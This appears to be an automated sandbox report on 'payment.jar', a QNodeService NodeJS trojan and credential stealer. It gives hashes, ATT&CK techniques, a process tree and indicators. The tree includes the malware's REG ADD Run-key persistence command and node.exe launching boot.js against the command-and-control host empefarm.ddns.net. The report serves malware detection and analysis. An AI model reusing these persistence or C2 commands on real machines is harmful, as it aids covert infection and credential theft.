qnodeservice | 7dabb16da3b6b7a4a98f02a852d0d6d46b11a2c60fec5749a234368e2204c8fc

General

Target

payment.jar
Size

65KB
MD5

493b0bef6259b1e451e304e68164c891
SHA1

a20d3ab73bafde4d7818cea9fd22de3d83072c91
SHA256

7dabb16da3b6b7a4a98f02a852d0d6d46b11a2c60fec5749a234368e2204c8fc
SHA512

1a300670283431ab5347dc05057d48a2736cd0119466e96a7fd15a75d451a454bc7446d15423c3362d889d006787ac93709b3e2a37acb7daf24de38d07785e40

Score

10^/10

qnodeservice persistence spyware trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3992	node.exe
496	node.exe
4056	node.exe

Loads dropped DLL 6 IoCs

pid	Process
4056	node.exe
4056	node.exe
4056	node.exe
4056	node.exe
4056	node.exe
4056	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\b0d9e588-45c4-441c-8935-d1f52f9740cb = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab7a-166.dat	js
behavioral2/files/0x000100000001ab7a-169.dat	js
behavioral2/files/0x000100000001ab7a-173.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3992	node.exe
3992	node.exe
3992	node.exe
3992	node.exe
496	node.exe
496	node.exe
496	node.exe
496	node.exe
4056	node.exe
4056	node.exe
4056	node.exe
4056	node.exe
4056	node.exe
4056	node.exe
4056	node.exe
4056	node.exe
4056	node.exe
4056	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3304 wrote to memory of 2152	3304	java.exe	76
PID 3304 wrote to memory of 2152	3304	java.exe	76
PID 2152 wrote to memory of 3992	2152	javaw.exe	80
PID 2152 wrote to memory of 3992	2152	javaw.exe	80
PID 3992 wrote to memory of 496	3992	node.exe	82
PID 3992 wrote to memory of 496	3992	node.exe	82
PID 496 wrote to memory of 4056	496	node.exe	83
PID 496 wrote to memory of 4056	496	node.exe	83
PID 4056 wrote to memory of 3428	4056	node.exe	85
PID 4056 wrote to memory of 3428	4056	node.exe	85
PID 3428 wrote to memory of 1020	3428	cmd.exe	86
PID 3428 wrote to memory of 1020	3428	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\payment.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3304
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\4e5621fa.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain empefarm.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3992
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SAz58l\boot.js --hub-domain empefarm.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:496
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SAz58l\boot.js --hub-domain empefarm.ddns.net
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4056
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "b0d9e588-45c4-441c-8935-d1f52f9740cb" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3428
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "b0d9e588-45c4-441c-8935-d1f52f9740cb" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1020

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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Downloads

memory/496-170-0x000002A298380000-0x000002A298381000-memory.dmp

Filesize
4KB

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memory/3992-167-0x000000108FD00000-0x000000108FD01000-memory.dmp

Filesize
4KB

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memory/4056-174-0x000002718E240000-0x000002718E241000-memory.dmp

Filesize
4KB

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